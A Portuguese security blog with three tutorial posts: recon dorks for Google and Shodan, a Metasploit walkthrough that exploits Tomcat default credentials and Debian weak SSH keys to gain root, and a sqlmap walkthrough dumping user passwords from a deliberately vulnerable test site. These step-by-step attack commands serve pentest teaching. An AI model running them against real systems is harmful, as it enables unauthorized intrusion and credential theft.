terça-feira, 20 de setembro de 2016

Etapas de um pentest

Todos sabem que o pentest é um método pelo qual um profissional de segurança da informação ou hacker ético é AUTORIZADO e invadir um sistema tentando acesso não autorizado afim  de testar as fraquezas de um sistema operacional, redes ou aplicações vulneráveis e com isso gerar um relatório ao cliente contendo todas as ameaças.
Para que seja realizado um pentest, existem as etapas necessárias pelo qual falarei abaixo.

1° FOOTPRINT - Levantamento de informações

Nessa etapa o pentester precisa coletar o máximo de informações possiveis do alvo, abaixo algumas formas de coleta de informações

Google Hacking

O google pode ser uma arma na mão de pessoas erradas, as pesquisas podem ser feitas via dorks, segue exemplos de dorks

intitle - Procura por titulos

inurl - Procura por palavras em urls

intext - Procura por palavras em textos

filetype - Procura por extensões de arquivos (pdf, doc, txt)

site - Procura por dominios

+ - Igual ao operador lógico AND

- - É igual ao operador lógico NOT

"" - Procura por strings de forma espeficica

Exemplos de busca

inurl:index of / site:gov.br


+filetype txt "passwords" +site:org


Esses são apenas alguns exemplos e toda criatividade é válida

Archive.org

Armazena informações de sites da internet desde a sua fundação, irei pesquisar o site do banco ítau do ano de 1997




Registro.br (pesquisa whois)

Podemos obter informações do alvo através de consultas whois, isso pode ser feito via registro.br ou outros sites como iana.org, lacnic entre outros



Shodan

Este é sem dúvidas o buscador mais perigoso da internet, pois busca por dispositivos conectados, segue alguns filtros do shodan

country - Procura por países
city - Procura por cidades
os - Procura por sistemas operacionais
net - Busca por range de endereços IPs
hostname - Busca por dominios
port - Busca por portas (exemplos 21, 22)

Alguns exemplos

country:br os:"Windows XP"


cisco "default password" hostname:.org country:us


Como visto, dei alguns exemplos de levantamentos de informações que é a primeira etapa para um pentest bem sucedido.

2° VARREDURAS

A próxima etapa de um pentest é a realização de varreduras, descoberta de portas abertas

POST EM CONSTRUÇÃO






domingo, 24 de julho de 2016

Explorando vulnerabilidade de credenciais padrões no apache tomcat e conseguindo acesso root ao servidor Linux

Boa noite a todos

Um grande problema que ocorre no nosso mundo virtual, é que por descuido de muitos administradores de rede ou de sistemas operacionais, deixam roteadores, aplicações e exijam credenciais e etc com usuário e senhas padrões, e isso é uma arma nas mãos de um cracker que por qualquer momento pode alem de explorar estas vulnerabilidades, conseguem obter acesso FULL ao servidor, mostrarei abaixo o que ocorre quando deixamos credenciais padrões em nossas aplicações, no exemplo usarei o servidor apache tomcat

1 - Usando o Kali Linux, iniciamos o nmap para fazer a verificação da porta 8180 que é a porta padrão do apache tomcat, veja abaixo




Vimos que a porta 8180 está aberta o que nos mostra que existe uma possivel vulnerabilidade

2 - Ao verificarmos a porta, iniciamos o metasploit para explorarmos o apache tomcat, para isso digitamos o comando msfconsole no terminal


3 - Após entrarmos na console do metasploit, digitamos o comando use auxiliary/admin/http/tomcat_administration, e em seguida colocamos set RHOSTS <ip da vitima> e set THREADS 5 (não obrigatório essa opção), após inserirmos os dados, digitamos o comando exploit, conforme as imagens abaixo.




Repare que ao digitarmos exploit na aba grifada em branco, temos o usuário e senha do tomcat, usuário tomcat e senha tomcat, justamente o que precisamos.

4 - Depois de conseguir o usuário e senha, ainda na console do metasploit digite o comando use exploit/multi/http/tomcat_mgr_deploy, conforme imagem abaixo.


5 - Agora que temos os dados, digitamos os comandos set RHOST <ip da vitima>, set USERNAME tomcat, set PASSWORD tomcat e set RPORT 8180 (porta do apache tomcat) e vejam o resultado abaixo.



Bingo !!! conseguimos acesso ao servidor, porem com o usuário tomcat55, o que queremos é elevar o privilégio acessando o servidor como root (supersusário de sistemas Linux), para isso digitamos conforme a imagem acima o comando cat /root/.ssh/authorized_keys a authorized_keys ficam armazenadas todas as chaves ssh "autorizadas" para determinado acesso, com isso copiamos a chave.

6 - Após copiarmos a chave, abrimos um outro terminal e digitamos o comando /usr/share/exploitdb/searchsploit openssl, para procurarmos exploits relacionados ao openssl 


7 - Na imagem acima temos diversos exploits para openssl, iremos escolher o exploit /linux/remote/5622.txt e com isso, digitamos o comando cat /usr/share/exploitdb/platforms/linux/remote/5622.txt.


8 - No conteúdo do arquivo, temos 2 links para download, iremos fazer o download no segundo link do arquivo que contem diversas chaves publicas ssh, para isso usamos o comando wget -c <caminho do arquivo>



9 - Ao efetuarmos o download, iremos extrair o conteúdo da pasta compactada usando o comando tar -xjvf <arquivo>.tar.bz2 (Lembrando que o -xvjf é para formatos .bz2).




10 - Ao extrair digitamos o comando cd /root/5622/rsa/2048 (pode ser qualquer outro nome de pasta) e ao acessar a pasta, digitamos o comando grep -lr <chave da authorized_keys do root> *.pub


11 - Repare que ao filtrarmos com o grep, ele nos mostrou a chave publica, é com essa chave que iremos acesso root via ssh, caso o root não utilize senha, iremos conseguir o acesso, para isso digitamos ssh -i <chave publica>.pub root@<ip da vitima>.


BINGO !!!! conseguimos o acesso de root no servidor remoto, ou seja de uma simples credencial padrão do tomcat, conseguimos acesso FULL ao servidor.


Espero que tenham gostado e lembre-se "Um hacker só consegue invadir um computador quando ele for convidado"

Abs



domingo, 1 de maio de 2016

Identificando falha de sql injection em sites e explorando a falha

Uma das falhas mais preocupantes no mundo da informática existentes até hoje, é a falha conhecida como sql injection, o sql injection é um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL. A injeção de SQL ocorre quando o atacante consegue inserir uma série de instruções SQL dentro de uma consulta (query) através da manipulação das entradas de dados de uma aplicação.
Nesta postagem mostrarei como identificar essa falha de modo simples e como explora-la, vale lembrar que usarei um site vulneravel de propósito, porem no google podemos pesquisar através das dorks do google hacking conforme imagem abaixo


Ao digitarmos no google "inurl=php?id=", temos diversos sites vulneráveis, porem neste exemplo usei no google a dork site que é para filtrar um site especifico, no caso o www.vulnweb.com.


Ao digitarmos no site em search art a palavra "test", na barra de endereço temos testphp.acunetix.com/search.php?test=query, com isso podemos simplesmente inserir o caractere ' após a palavra query, caso de erro, significa que o site é vulnerável a sql injection


Repare que deu erro ou seja, o site possui a falha, sendo assim iremos explorar com a ferramenta sqlmap, que é uma ferramenta escrita em python para testes de sql injection, para isso digitamos o comando python sqlmap -u <site a ser testado> --dbs para que possamos listar os bancos de dados disponiveis


Ao realizar o teste, temos 2 bancos de dados neste exemplo iremos usar o banco acuart


Após localizarmos o banco que iremos conectar, precisamos localizar as tabelas referente a esse banco, para isso o comando ficará assim python sqlmap.py -u http://testphp.acunetix.com/search.php?test=query -D acuart --tables



Temos no exemplo acima 8 tabelas, porem a que nos interessa é apenas a tabela users, com isso o comando ficará python sqlmap.py -u http://testphp.acunetix.com/search.php?test=query -D acuart -T users --columns



Ao escolher a tabela users, temos 8 colunas, nesse caso iremos visualizar os dados das colunas name e pass, com isso o comando ficará python sqlmap.py -u http://testphp.acunetix.com/search.php?test=query -D acuart -T users -C name, pass --dump



Pronto, conseguimos o usuário e a senha que no caso é john o usuário e a senha é test, basta apenas efetuar o login como administrador no site usando esses dados.


Abraços